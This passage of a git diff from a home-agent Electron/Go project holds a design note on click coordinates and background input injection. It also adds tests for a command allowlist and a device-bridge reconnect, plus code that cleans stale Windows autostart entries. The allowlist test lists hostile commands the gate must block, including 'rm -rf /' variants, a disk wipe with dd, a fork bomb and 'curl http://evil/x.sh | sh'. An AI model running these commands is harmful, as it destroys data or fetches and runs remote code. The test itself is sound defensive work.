DIP」——**那个前提不成立**，DIP 行为只出现在 +DPI-*unaware* 进程里。加了之后反而把原本正确的点击改坏：200% 缩放屏上 +点 (600,400) 会被送到 (400,267)，**越靠右下偏得越远**。 + +（易误判之处：在普通 node 进程里测同一个函数，读到的是 1260×840， +那是虚拟化后的值，会把人带偏。必须在 Electron 内测。） + +### 建议 + +在两处加注释： + +1. `device.go` 的 `computeruse` 函数上方 +2. tool schema 里 `x`/`y` 的 description + +```go +// 坐标约定：x/y 为**物理像素**，与 screensee 截图坐标系一致， +// 也与设备端 Win32 坐标一致，**不需要按 scaleFactor 换算**。 +// （设备端 GUI 是 per-monitor DPI-aware，Win32 坐标不做虚拟化。） +// 仅当调用方显式传 physical=false 时，设备端才按 DIP 再乘回缩放比。 +``` + +`cmd/gui/computeruse.test.mjs` 已加判据防止 GUI 侧回退（会检测 `/scale` 是否回来了）。 +**服务端侧目前无对等判据**，建议补一个，锁定 schema 里的 description 不含 +「需换算」之类的误导表述。 + +--- + +## 六、模式 A（agent 独立光标 + 后台注入）需要服务端知道的事 + +### 行为变化 + +GUI 默认启用 `agentCursor.mode = "overlay"`： + +- agent 操作时**不再移动用户的真实鼠标**，用户可同时正常使用电脑 +- GUI 会在目标位置绘制一个 mascot 形象作为 agent 的虚拟光标，并有移动/点击脉冲动画 +- 实际输入通过 `PostMessage` 直接投递到目标窗口句柄 + +配置项（`gui-prefs.json` → `deviceBridge.agentCursor.mode`）： + +| 值 | 行为 | +|---|---| +| `"overlay"` | **默认**。不动用户鼠标，后台注入 | +| `"real"` | 旧行为。操作真实鼠标（`SetCursorPos` + `mouse_event`） | + +### 服务端无需改动，但要知道三条限制 + +1. **只对「接受窗口消息的程序」可靠。** + 原生 Win32 程序（记事本、Excel、Office 等）可靠；Chromium/Electron 自绘界面、 + 多数游戏、DirectX 程序会忽略合成消息。这是 Windows 消息模型的硬限制， + 不是实现缺陷。 + +2. **注入失败会明确报错，不静默回退。** + 用户既然选择「不抢鼠标」，就不该偷偷改成操作真实鼠标。所以失败时 + `status=error`，`error` 里说明原因（例如「该坐标下没有窗口」）。 + +3. **键盘类动作需要先有点击类动作。** + `keypress`/`hotkey`/`type` 不带坐标，且后台注入**不移动真实光标**， + 所以 `GetCursorPos` 拿到的是**用户自己**的光标位置（通常不是 agent 要操作的地方）。 + 设备端记录「上一次鼠标操作命中的窗口」，键盘动作投递到那里。 + **若从未点过，键盘动作会报错。** 服务端在 tool description 里说明这一依赖关系， + 可以减少 LLM 调错。 + +--- + +## 七、验收方式 + +GUI 侧判据（服务端改完后跑）： + +```bash +cd cmd/gui && npm test +``` + +含 `computeruse.test.mjs`，会校验两端 action 覆盖面的一致性。 + +服务端侧建议补的判据（放在 `internal/plugins/remotedevice/`）： + +1. schema `enum` 覆盖全部 18 个 action +2. 每个 action 在 `switch` 里都有对应 case，不落 `default` +3. `tox`/`toy`/`steps`/`dx`/`ms` 能透传到下发 JSON（可用现有 + `binary_test.go:471` 的 computeruse 下发测试作模板，参考它如何断言收到的 JSON） + +--- + +## 八、附：本次 GUI 侧一并修掉的两个 bug（服务端可参考） + +1. **GUI 误判「服务端未启动」**：原实现只探 `localhost:8080`， + 服务端在 WSL/远端时探不通 → 每次启动误判服务没起 → 去拉起 GUI 旁不存在的 + `homed.exe` → 干等 8s 超时。已改为按 `connections.json` 里已配置的连接探测。 + （服务端侧无改动，但这条能解释历史上 GUI 日志里刷屏的 + `homed failed to start within timeout`。） + +2. **koffi 不认 Win32 的 `byte` 类型名**： + `keybd_event(byte bVk, ...)` 会抛 + `Unknown or invalid type name 'byte'`，必须写 `uint8`。 + 曾导致组合键整体返回 `keybd_event unavailable`，而单键 click 不受影响、极易漏掉。 + 与服务端无直接关系，但若服务端将来也走 FFI 调 Win32，注意这一点。 diff --git a/cmd/gui/cmd-allowlist.test.mjs b/cmd/gui/cmd-allowlist.test.mjs new file mode 100644 index 00000000..ad9ec52a --- /dev/null +++ b/cmd/gui/cmd-allowlist.test.mjs @@ -0,0 +1,210 @@ +// 设备命令闸：从黑名单改为白名单的**行为**判据（2026-10-05）。 +// +// ## 要判的是什么 +// +// 改之前 GUI 侧是一份 10 条黑名单子串匹配（main.js 的 argsSafe）。 +// 它匹配**字面子串** "rm -rf"，而命令语义由**分词后的 argv** 决定。 +// 我在 node 里跑过那份真实逻辑，以下全部 ALLOW： +// +// "rm -rf /" 多空格 +// "rm -r -f /" 拆开写 +// "rm\t-rf /" 制表符 +// "rm -fr /" 换序 +// +// 而 "/bin/rm -rf /" 反而被拦 —— 完全反过来的行为。 +// +// ★ 关键前提：触发这道闸的是 **agent**（经 device_ctl_cmdrun），不是人。 +// 所以它必须是机器闸。白名单对参数变形免疫，黑名单不免疫。 +// +// ## 判据形态 +// +// 镜像 cmd/waiter/cmd_allowlist_test.go 的结构： +// ① 默认集必须挡住破坏性命令（这道闸存在的唯一理由） +// ② 默认集不得过窄（常规命令要能跑） +// ③ ★ 分隔符变形必须全部挡住（黑名单时代的真实漏洞） +// ④ 配置可扩展；空列表/全空白 ⇒ 回退默认集，**绝不「全放行」** +// +// 运行：node cmd/gui/cmd-allowlist.test.mjs + +import { readFileSync } from "node:fs"; +import { fileURLToPath } from "node:url"; +import { dirname, join } from "node:path"; +import vm from "node:vm"; + +const here = dirname(fileURLToPath(import.meta.url)); +const src = readFileSync(join(here, "main.js"), "utf8"); + +let failures = 0; +const check = (name, ok, detail) => { + if (ok) console.log(` ✓ ${name}`); + else { + failures++; + console.log(` ✗ ${name}${detail ? " — " + detail : ""}`); + } +}; + +function extractFn(name) { + let start = src.indexOf(`function ${name}(`); + if (start === -1) throw new Error(`cannot find function ${name} in main.js`); + let i = src.indexOf("{", start); + let depth = 0; + for (let j = i; j < src.length; j++) { + const c = src[j]; + if (c === '"' || c === "'" || c === "`") { + const q = c; + j++; + while (j < src.length && src[j] !== q) { + if (src[j] === "\\") j++; + j++; + } + continue; + } + if (c === "/" && src[j + 1] === "/") { + while (j < src.length && src[j] !== "\n") j++; + continue; + } + if (c === "/" && src[j + 1] === "*") { + j = src.indexOf("*/", j) + 1; + continue; + } + if (c === "{") depth++; + else if (c === "}") { + depth--; + if (depth === 0) return src.slice(start, j + 1); + } + } + throw new Error(`unbalanced braces for ${name}`); +} + +// 抽出常量数组 defaultGuiCmdAllowlist 的字面内容。 +const defaultListMatch = src.match( + /const defaultGuiCmdAllowlist\s*=\s*\[([\s\S]*?)\];/, +); +if (!defaultListMatch) throw new Error("cannot find defaultGuiCmdAllowlist"); +const defaultGuiCmdAllowlist = new vm.Script( + "[" + defaultListMatch[1] + "]", +).runInNewContext(); + +// 被测代码：真实的 buildGuiCmdMatcher / argsSafe / reloadGuiCmdAllowlist。 +const sandbox = { + console, + defaultGuiCmdAllowlist, + guiCmdAllowed: null, + loadGuiPrefs: () => ({ deviceBridge: { enabled: true } }), + Set, + Array, + String, +}; +vm.createContext(sandbox); +vm.runInContext( + [ + // 必须先声明再赋值：main.js 里是 `let guiCmdAllowed = buildGuiCmdMatcher(null)`， + // 而 buildGuiCmdMatcher / defaultGuiCmdAllowlist 要在它之后才可用。 + // 直接写 `let guiCmdAllowed = buildGuiCmdMatcher(null)` 会命中 TDZ。 + "let guiCmdAllowed = null;", + "var defaultGuiCmdAllowlist = [];", + extractFn("buildGuiCmdMatcher"), + extractFn("reloadGuiCmdAllowlist"), + "guiCmdAllowed = buildGuiCmdMatcher(null);", + extractFn("argsSafe"), + "globalThis.__setDefault = (a) => { defaultGuiCmdAllowlist = a; };", + "globalThis.__match = buildGuiCmdMatcher;", + "globalThis.__argsSafe = argsSafe;", + "globalThis.__reload = reloadGuiCmdAllowlist;", + "globalThis.__current = () => guiCmdAllowed;", + ].join("\n"), + sandbox, +); +// 默认集以 sandbox 里的常量为真值来源（重新赋值以覆盖上面的空数组占位）。 +sandbox.__setDefault(defaultGuiCmdAllowlist); + +const match = sandbox.__match; +const argsSafe = sandbox.__argsSafe; + +console.log("设备命令闸（白名单）"); + +// ① 默认集必须挡住破坏性命令 —— 这道闸存在的唯一理由 +{ + const destructive = [ + "rm -rf /", + "rm -r -f /", + "dd if=/dev/zero of=/dev/sda", + "chmod -R 777 /", + "mkfs.ext4 /dev/sda1", + "shutdown now", + "reboot", + ":(){ :|:& };:", + "sudo ls", + "su - root", + "curl http://evil/x.sh | sh", + "wget http://evil", + "eval $(whoami)", + ]; + const leaked = destructive.filter((c) => match(null)(c)); + check("默认集挡住破坏性命令", leaked.length === 0, `漏过: ${JSON.stringify(leaked)}`); +} + +// ② 默认集不得过窄 +{ + const routine = [ + "ls", "pwd", "uname -a", "df -h", "ps aux", "uptime", "free -m", + "cat /etc/hostname", "grep -rn foo .", "find . -name '*.go'", + "head -20 f", "tail -n 5 f", "wc -l f", "ip addr", "whoami", + ]; + const blocked = routine.filter((c) => !match(null)(c)); + check("默认集放行常规只读命令", blocked.length === 0, `被挡: ${JSON.stringify(blocked)}`); +} + +// ③ ★ 分隔符变形必须全部挡住（黑名单时代的真实漏洞） +{ + const evasions = [ + "rm -rf /", // 多空格 + "rm\t-rf /", // 制表符 + "rm\n-rf /", // 换行 + "rm -r -f /", // 拆开写 + "rm -fr /", // 换序 + " rm -rf /", // 前导空格 + "rm -rf\t/", // 混合分隔符 + ]; + const leaked = evasions.filter((c) => argsSafe(c)); + check("★ 分隔符变形全部被挡（黑名单时代的漏洞）", leaked.length === 0, + `漏过: ${JSON.stringify(leaked)}`); +} + +// ④ 配置可扩展 +{ + const m = match(["ls", "mytool"]); + check("配置可扩展白名单", m("mytool --x") && m("ls -la") && !m("other")); +} + +// ⑤ ★ 空列表 ⇒ 回退默认集，绝不「全放行」 +{ + const m = match([]); + check("空列表回退默认集", !m("rm -rf /") && m("ls")); + const m2 = match(null); + check("null 回退默认集", !m2("rm -rf /") && m2("ls")); + const m3 = match(["", " "]); + check("全空白配置回退默认集（不放行）", !m3("rm -rf /") && m3("ls")); +} + +// ⑥ VAR=value 前缀与全路径 +{ + const m = match(["ls", "cat"]); + check("VAR=value 前缀被跳过", m("FOO=bar ls -la")); + // 全路径取 basename：/bin/ls 应等价于 ls + check("全路径取 basename 后匹配", m("/bin/ls -la") && m("/usr/bin/cat f")); + check("空命令拒绝", !m("") && !m(" ")); +} + +// ⑦ reloadGuiCmdAllowlist 在无 prefs 时也回退默认集 +{ + sandbox.__reload(); + check("reload 后生效且为默认集", !argsSafe("rm -rf /") && argsSafe("ls -la")); +} + +console.log( + failures === 0 + ? "\nAll cmd-allowlist checks passed." + : `\n${failures} check(s) failed.`, +); +process.exit(failures === 0 ? 0 : 1); \ No newline at end of file diff --git a/cmd/gui/device-bridge-liveness.test.mjs b/cmd/gui/device-bridge-liveness.test.mjs new file mode 100644 index 00000000..57fc5fa3 --- /dev/null +++ b/cmd/gui/device-bridge-liveness.test.mjs @@ -0,0 +1,379 @@ +// 设备桥**心跳 + 断线重连**的行为判据（2026-10-05）。 +// +// ## 要判的是什么 +// +// 修之前 GUI 侧的设备桥有两个洞，合起来的效果是「一次失联，终身失联」： +// +// 1. **不发 ping**。waiter 侧有 pingLoop（internal/devicebridge/client/bridge.go:636， +// 每 30s 一个 0x9 帧），GUI 侧全文件一次 ping 都没发过。 +// 而 remotedevice 服务端**没有设备侧读超时**（registry.go 里没有 +// SetReadDeadline）—— 不发心跳就没人能发现设备已死，网关会把一台 +// 半死的设备长期显示为 online。 +// +// 2. **不重连**。startDeviceBridge 只有两个调用点（启动 / 配置变更）， +// 失败就 console.error 结束。GUI 是最容易被休眠/切网/服务端重启打断的 +// 形态，合盖一次或 WiFi 抖一下，设备桥就再也回不来， +// 直到用户重启 GUI 或手动改一次配置。 +// +// ## 为什么用「真实执行」而不是检查文本 +// +// 判据在 node:vm 沙箱里把 device-bridge 那几个函数**抽出来真的跑**： +// 用假 socket 驱动「连接成功 → 断线 → 重连 → 再断线」， +// 数真实的重连次数与心跳帧数，而不是 grep `ping` 出现过几次。 +// +// ★ 特别要判「连都没连上」那条路：connectDeviceWS 失败时走 reject， +// 当时 socket 从未 upgraded。如果重连只挂在 socket 的 close 事件上， +// 这条路**根本不会有第二次排程** —— 这正是容易写错的地方。 +// +// 运行：node cmd/gui/device-bridge-liveness.test.mjs + +import { readFileSync } from "node:fs"; +import { fileURLToPath } from "node:url"; +import { dirname, join } from "node:path"; +import vm from "node:vm"; +import { setTimeout as realSleep } from "node:timers/promises"; + +const here = dirname(fileURLToPath(import.meta.url)); +const src = readFileSync(join(here, "main.js"), "utf8"); + +let failures = 0; +const check = (name, ok, detail) => { + if (ok) console.log(` ✓ ${name}`); + else { + failures++; + console.log(` ✗ ${name}${detail ? " — " + detail : ""}`); + } +}; + +// 从 main.js 里按名字抽出函数源码。 +function extractFn(name) { + // 先试 async function（connectDeviceBridgeOnce 是 async）， + // 再试普通 function。顺序不能反：普通形式的 needle + // 「function connectDeviceBridgeOnce(」会命中 async 版本里的 + // 「async function connectDeviceBridgeOnce(」，切出源码时丢前缀。 + let start = src.indexOf(`async function ${name}(`); + let isAsync = true; + if (start === -1) { + start = src.indexOf(`function ${name}(`); + isAsync = false; + } + if (start === -1) throw new Error(`cannot find function ${name} in main.js`); + let i = src.indexOf("{", start); + let depth = 0; + for (let j = i; j < src.length; j++) { + const c = src[j]; + if (c === '"' || c === "'" || c === "`") { + const q = c; + j++; + while (j < src.length && src[j] !== q) { + if (src[j] === "\\") j++; + j++; + } + continue; + } + if (c === "/" && src[j + 1] === "/") { + while (j < src.length && src[j] !== "\n") j++; + continue; + } + if (c === "/" && src[j + 1] === "*") { + j = src.indexOf("*/", j) + 1; + continue; + } + if (c === "{") depth++; + else if (c === "}") { + depth--; + if (depth === 0) return src.slice(start, j + 1); + } + } + throw new Error(`unbalanced braces for ${name} (async=${isAsync})`); +} + +const devicePingIntervalMs = Number( + src.match(/const devicePingIntervalMs\s*=\s*(\d+)/)?.[1] ?? 0, +); +const deviceReconnectBaseMs = Number( + src.match(/const deviceReconnectBaseMs\s*=\s*(\d+)/)?.[1] ?? 0, +); +const deviceReconnectMaxMs = Number( + src.match(/const deviceReconnectMaxMs\s*=\s*(\d+)/)?.[1] ?? 0, +); + +// ---- 假 socket：记录写出的控制帧，模拟 close ---- +function makeFakeSock() { + const written = []; + return { + written, + destroyed: false, + write(buf) { + written.push(Buffer.from(buf)); + return true; + }, + destroy() { + this.destroyed = true; + }, + }; +} + +function runScenario({ connectFailsFirst = 0, label }) { + // 状态 + let deviceBridge = null; + let devicePingTimer = null; + let deviceReconnectTimer = null; + let deviceReconnectAttempt = 0; + let deviceWanted = false; + const connectCalls = []; + const logLines = []; + let connectAttempt = 0; + + // 用可控的 timer：立即执行「到期」，但记录延迟值。 + const timers = []; + function fakeSetTimeout(fn, ms) { + timers.push({ fn, ms, kind: "timeout" }); + return timers.length; + } + function fakeClearTimeout(id) { + if (id && timers[id - 1]) timers[id - 1].cancelled = true; + } + function fakeSetInterval(fn, ms) { + timers.push({ fn, ms, kind: "interval", cancelled: false }); + return timers.length; + } + function fakeClearInterval(id) { + if (id && timers[id - 1]) timers[id - 1].cancelled = true; + } + // 推进 n 个 timer（全部执行）。 + // ★ 必须 await：重连链是 async（connectDeviceBridgeOnce 里 await + // doConnectDeviceBridge），若不等它跑完，下一次 runTimers 会看到一个 + // 「已 ran」的 timer 列表而找不到新排程的那个，测出来就是「没重连」。 + async function runTimers(n = 1) { + for (let k = 0; k < n; k++) { + const t = timers.find((x) => !x.cancelled && !x.ran); + if (!t) return false; + t.ran = true; + await t.fn(); + // 让被测代码里 await 之后的 continuation（排程下一轮）跑完 + await realSleep(0); + } + return true; + } + function liveIntervalMs() { + const t = timers.find((x) => x.kind === "interval" && !x.cancelled); + return t ? t.ms : 0; + } + + const sandbox = { + console: { log: (...a) => logLines.push(a.join(" ")), error: (...a) => logLines.push("ERR " + a.join(" ")) }, + crypto: { randomBytes: (n) => Buffer.alloc(n, 7) }, + loadGuiPrefs: () => ({ + deviceBridge: { enabled: true, gateway: "ws://x/ws", token: "t" }, + }), + devicePingIntervalMs, + deviceReconnectBaseMs, + deviceReconnectMaxMs, + Math, + Buffer, + setTimeout: fakeSetTimeout, + clearTimeout: fakeClearTimeout, + setInterval: fakeSetInterval, + clearInterval: fakeClearInterval, + }; + + // 需要沙箱内能读写这几个状态：用闭包变量暴露 getter/setter + const ctx = vm.createContext(sandbox); + // 把状态变量以「属性」形式暴露给被测代码：改写为 sandbox 上的普通变量不可行 + // （被测代码是顶层 let），所以改为在沙箱里重新声明同名 let 并暴露 setter。 + const prelude = ` + let deviceBridge = null; + let devicePingTimer = null; + let deviceReconnectTimer = null; + let deviceReconnectAttempt = 0; + let deviceWanted = false; + let deviceBridgeBound = false; + let deviceBridgeBindError = ""; + let deviceBridgeAddr = ""; + let deviceBridgeId = ""; + globalThis.__socks = []; + var __connectCalls = []; + globalThis.__connectCalls = __connectCalls; + var __shouldFail = __failTimes; + globalThis.__socksHolder = true; + globalThis.__peek = () => ({ deviceBridge, devicePingTimer, deviceReconnectTimer, + deviceReconnectAttempt, deviceWanted }); + `; + sandbox.__failTimes = connectFailsFirst; + // connectDeviceWS 的替身：前 N 次 reject，之后给一个假 sock + const connectStub = ` + async function connectDeviceWS(url, token, onMsg) { + __connectCalls.push(url); + if (__shouldFail > 0) { __shouldFail--; throw new Error("simulated connect failure"); } + const sock = { __written: [], destroyed: false, + write(b) { this.__written.push(Buffer.from(b)); return true; }, + destroy() { this.destroyed = true; } }; + __socks.push(sock); + return { send(){}, close(){ sock.destroy(); }, __sock: sock }; + } + function startDevicePing(sock) { + if (devicePingTimer) clearInterval(devicePingTimer); + devicePingTimer = setInterval(() => { + try { if (!sock || sock.destroyed) return; sendDeviceControlFrame(sock, 0x9, null); } catch(e){} + }, devicePingIntervalMs); + } + function stopDevicePing() { if (devicePingTimer) { clearInterval(devicePingTimer); devicePingTimer = null; } } + `; + + const fns = [ + "sendDeviceControlFrame", + "scheduleDeviceReconnect", + "stopDevicePing", + "startDevicePing", + "connectDeviceBridgeOnce", + ] + .map((n) => extractFn(n)) + .join("\n\n"); + + // ★ 用 main.js 里**真实的** startDeviceBridge，不在沙箱里重写一份。 + // 之前我在这里自己写了一个同名的 startDeviceBridge（包 try/catch + 排程）， + // 结果：把 main.js 里的排程调用删掉，判据依旧全绿 —— + // **测的不是被测代码，而是我的副本**。这正是本仓反复强调的 + // 「判据必须测真实行为，不能测一份影子实现」。 + const realStart = extractFn("startDeviceBridge"); + const realStop = extractFn("stopDeviceBridge"); + + const script = [ + prelude, + connectStub, + "async function doConnectDeviceBridge(cfg) {", + " if (!cfg) return;", + " const ws = await connectDeviceWS(cfg.url || cfg.gateway || '', cfg.apiKey || cfg.token || '', function(){});", + " deviceBridge = ws;", + " startDevicePing(ws.__sock);", + "}", + fns, + realStart, + realStop, + "globalThis.__start = startDeviceBridge;", + "globalThis.__stop = stopDeviceBridge;", + "globalThis.__fireClose = () => { scheduleDeviceReconnect(); };", + ].join("\n"); + + vm.runInContext(script, ctx); + + return { + timers, + logLines, + // connectCalls 必须从沙箱里读：connectDeviceWS 的替身在 vm 上下文里 + // push 的是 __connectCalls，外层那个 const connectCalls 永远是空的。 + // 之前把两者当成同一个，导致「重连真的再连了一次」判据永远红。 + get connectCalls() { + return sandbox.__connectCalls || []; + }, + runTimers, + liveIntervalMs, + peek: () => sandbox.__peek(), + socks: () => sandbox.__socks || [], + start: () => sandbox.__start({ url: "ws://x/ws", apiKey: "t" }), + stop: () => sandbox.__stop(), + fireClose: () => sandbox.__fireClose(), + }; +} + +// ============ 判据 ============ + +console.log("设备桥心跳 + 重连"); + +// 1) 首次连接成功 → 起了心跳，且间隔是 30s（与服务端 pingLoop 一致） +{ + const sc = runScenario({ connectFailsFirst: 0, label: "ok-first" }); + await sc.start(); + const st = sc.peek(); + check("首次连接成功即启动心跳", !!st.devicePingTimer && sc.liveIntervalMs() === 30000, + `pingTimer=${!!st.devicePingTimer} interval=${sc.liveIntervalMs()}`); +} + +// 2) 心跳真的发出 0x9 控制帧，且帧格式合规（客户端帧必须带掩码位） +{ + const sc = runScenario({ connectFailsFirst: 0 }); + await sc.start(); + const sock = sc.socks()[0]; + // 触发一次心跳 interval + const it = sc.timers.find((t) => t.kind === "interval" && !t.ran); + if (it) it.fn(); + const ping = (sock.__written || []).find((b) => (b[0] & 0x0f) === 0x9); + check("心跳发出 opcode 0x9", !!ping, `frames=${(sock.__written || []).length}`); + check("客户端帧带掩码位（RFC6455 §5.3）", ping ? (ping[1] & 0x80) === 0x80 : false, + ping ? `byte1=0x${ping[1].toString(16)}` : "no ping frame"); +} + +// 3) 断线 → 自动重连（线性退避，首个等待 = base） +{ + const sc = runScenario({ connectFailsFirst: 0 }); + await sc.start(); + const before = sc.peek().deviceReconnectAttempt; + sc.fireClose(); + const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled); + check("断线后排出重连定时器", pend.length > 0, `pending=${pend.length}`); + check("退避计数递增", sc.peek().deviceReconnectAttempt === before + 1, + `attempt ${before} -> ${sc.peek().deviceReconnectAttempt}`); + // 执行重连 → 应真的再连一次 + await sc.runTimers(1); + check("重连真的再发起了一次连接", sc.connectCalls.length >= 1, + `connectCalls=${sc.connectCalls.length}`); +} + +// 4) ★ 连都没连上（connectDeviceWS reject）也必须排程重连 +// —— 这是最容易漏的一格：reject 路上没有 socket close 事件。 +{ + const sc = runScenario({ connectFailsFirst: 1 }); + await sc.start(); + const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled); + check("首次连接失败也排出重连（reject 路径无 close 事件）", pend.length > 0, + `pending=${pend.length}`); + // 再跑 4 个 timer，确认能一路重连上去（第 2 次会成功） + for (let i = 0; i < 4; i++) await sc.runTimers(1); + check("重连最终成功并连上", sc.peek().deviceBridge !== null, + `deviceBridge=${!!sc.peek().deviceBridge}`); + check("连上后心跳重新出现", !!sc.peek().devicePingTimer); +} + +// 5) 退避随失败次数线性增长并封顶 +{ + const sc = runScenario({ connectFailsFirst: 99 }); // 永远失败 + await sc.start(); + const delays = []; + for (let i = 0; i < 6; i++) { + const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled); + if (!pend.length) break; + delays.push(pend[0].ms); + await sc.runTimers(1); + } + const cap = 60000; + check("退避线性增长", delays.length >= 2 && delays[1] > delays[0], + `delays=${JSON.stringify(delays)}`); + check("退避封顶在 max", delays.every((d) => d <= cap), `delays=${JSON.stringify(delays)}`); +} + +// 6) 主动停用后不再重连（deviceWanted=false 是闸） +{ + const sc = runScenario({ connectFailsFirst: 0 }); + await sc.start(); + sc.stop(); + const pend = sc.timers.filter((t) => t.kind === "timeout" && !t.ran && !t.cancelled); + check("stopDeviceBridge 后不再排程重连", pend.length === 0, `pending=${pend.length}`); + check("stopDeviceBridge 停掉心跳", sc.peek().devicePingTimer === null); +} + +// 7) 成功重连后 attempt 归零 +{ + const sc = runScenario({ connectFailsFirst: 2 }); + await sc.start(); + for (let i = 0; i < 6; i++) await sc.runTimers(1); + check("成功重连后退避归零", sc.peek().deviceReconnectAttempt === 0, + `attempt=${sc.peek().deviceReconnectAttempt}`); +} + +console.log( + failures === 0 + ? "\nAll device-bridge liveness checks passed." + : `\n${failures} check(s) failed.`, +); +process.exit(failures === 0 ? 0 : 1); \ No newline at end of file diff --git a/cmd/gui/main.js b/cmd/gui/main.js index 7c98dee2..87a4c71e 100644 --- a/cmd/gui/main.js +++ b/cmd/gui/main.js @@ -3178,6 +3178,11 @@ function destroyTray() { app.whenReady().then(async () => { installAuthRule(); + // 清理历史遗留的重复开机自启项（产物改名会累积指向同一 exe 的旧项）。 + // 不依赖用户去设置里手动开关：否则旧项会一直留着、开机启动两次。 + try { + cleanupStaleLoginItems(); + } catch (e) {} const running = await isServerRunning(); if (running) { // 已探测到可用端点：服务端在别处正常运行（远程/WSL/另一台机器）。 @@ -3406,9 +3411,74 @@ function saveGuiPrefs(p) { return p; } +// Electron LoginItem 写入的注册表项名是「electron.app.」。 +// 产物改名过（HomeAgent.exe → homeagent-gui.exe）就会多出一条旧项， +// 且 setLoginItemSettings 不会清理它们 ⇒ 开机启动两次同一个 exe。 +// 实测本机 Run 键里确实同时存在： +// electron.app.HomeAgent = "E:\program\homeagent\...\homeagent-gui.exe" +// electron.app.homeagent-gui = E:\program\homeagent\...\homeagent-gui.exe +// 两条指向同一 exe，所以表面看是两个自启动，实际是同一份的重复。 +// +// 修法：每次写入前，删掉所有指向当前 exe 的 electron.app.* 旧项， +// 只保留当前名字对应的那一条。 +function cleanupStaleLoginItems() { + if (process.platform !== "win32") return 0; + let removed = 0; + try { + const { execFileSync } = require("child_process"); + const runKey = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"; + const execPath = String(process.execPath || "").toLowerCase(); + // 列出 Run 键下的所有值名 + const out = execFileSync( + "reg", + ["query", runKey], + { encoding: "utf8", timeout: 5000, windowsHide: true }, + ); + const names = []; + for (const line of String(out).split(/\r?\n/)) { + const m = line.match(/^\s{4}([A-Za-z0-9_.\-\\]+)\s+REG_/); + if (m) names.push(m[1]); + } + for (const name of names) { + if (!/^electron\.app\./i.test(name)) continue; + // 只删指向**当前 exe** 的；别的 Electron 应用不能误伤 + let val = ""; + try { + const q = execFileSync("reg", ["query", runKey, "/v", name], { + encoding: "utf8", + timeout: 5000, + windowsHide: true, + }); + val = String(q); + } catch (e) { + continue; + } + const sameExe = val.toLowerCase().includes(execPath); + if (!sameExe) continue; + // 保留当前 exe 名对应的那一条（Electron 期望的名字） + const currentName = "electron.app." + path.basename(process.execPath, ".exe"); + if (name === currentName) continue; + try { + execFileSync("reg", ["delete", runKey, "/v", name, "/f"], { + timeout: 5000, + windowsHide: true, + }); + removed++; + console.log("[autolaunch] removed stale login item: " + name); + } catch (e) { + console.error("[autolaunch] failed to remove " + name + ": " + e.message); + } + } + } catch (e) { + console.error("cleanupStaleLoginItems failed: " + e.message); + } + return removed; +} + // 应用开机自启设置（Electron LoginItem） function applyAutoLaunch(enabled) { try { + if (enabled) cleanupStaleLoginItems(); app.setLoginItemSettings({ openAtLogin: enabled, openAsHidden: true, // 开机自启时静默（Windows/macOS 支持） diff --git a/cmd/gui/screensue-source.test.mjs b/cmd/gui/screensue-source.test.mjs new file mode 100644 index 00000000..05f1de11 --- /dev/null +++ b/cmd/gui/screensue-source.test.mjs @@ -0,0 +1,197 @@ +// screensue「从路径加载」的行为判据（2026-10-05）。 +// +// ## 要判的是什么 +// +// 改之前 screensue 只能把内容**内联**在命令字符串里： +// +// homeagent-screensue
…
+// +// 于是场景被限死了： +// · 一屏复杂看板（几十 KB HTML）塞不进 cmd_type 字段 +// · 模型得先把整段 HTML 生成出来再当参数传，token 成本与出错面都大 +// · 内容改了要重新发一次命令 +// +// 新增三种写法： +// ① @<路径> 从文件读，按扩展名决定渲染方式 +// ② @<路径>#<块名> 抽 … 之间的片段 +// ③ <字面内容> 原行为，**必须完全不变** +// +// ## 判据形态 +// +// 真跑 loadCapabilitySource：造临时 .html/.md 文件与多块文件， +// 验「按扩展名渲染 / 块抽取 / 缺块报错 / 目录拒绝 / 超限拒绝 / +// @前缀才触发加载（字面内容不受影响）」。 +// +// 运行：node cmd/gui/screensue-source.test.mjs + +import { readFileSync, writeFileSync, mkdtempSync, rmSync } from "node:fs"; +import { fileURLToPath } from "node:url"; +import { dirname, join } from "node:path"; +import { tmpdir } from "node:os"; +import vm from "node:vm"; + +import { createRequire } from "node:module"; +const nodeRequire = createRequire(import.meta.url); +import * as nodeFs from "node:fs"; + +const here = dirname(fileURLToPath(import.meta.url)); +const src = readFileSync(join(here, "main.js"), "utf8"); + +let failures = 0; +const check = (name, ok, detail) => { + if (ok) console.log(` ✓ ${name}`); + else { + failures++; + console.log(` ✗ ${name}${detail ? " — " + detail : ""}`); + } +}; + +function extractFn(name) { + let start = src.indexOf(`function ${name}(`); + if (start === -1) throw new Error(`cannot find function ${name} in main.js`); + let i = src.indexOf("{", start); + let depth = 0; + for (let j = i; j < src.length; j++) { + const c = src[j]; + if (c === '"' || c === "'" || c === "`") { + const q = c; + j++; + while (j < src.length && src[j] !== q) { + if (src[j] === "\\") j++; + j++; + } + continue; + } + if (c === "/" && src[j + 1] === "/") { + while (j < src.length && src[j] !== "\n") j++; + continue; + } + if (c === "/" && src[j + 1] === "*") { + j = src.indexOf("*/", j) + 1; + continue; + } + if (c === "{") depth++; + else if (c === "}") { + depth--; + if (depth === 0) return src.slice(start, j + 1); + } + } + throw new Error(`unbalanced braces for ${name}`); +} + +const dir = mkdtempSync(join(tmpdir(), "screensue-test-")); +const p = (n) => join(dir, n); +writeFileSync(p("board.html"), "

看板

hello

", "utf-8"); +writeFileSync(p("notes.md"), "# 标题\n- 一点", "utf-8"); +writeFileSync( + p("multi.html"), + "
A1 A2
\n" + + "
三点开会
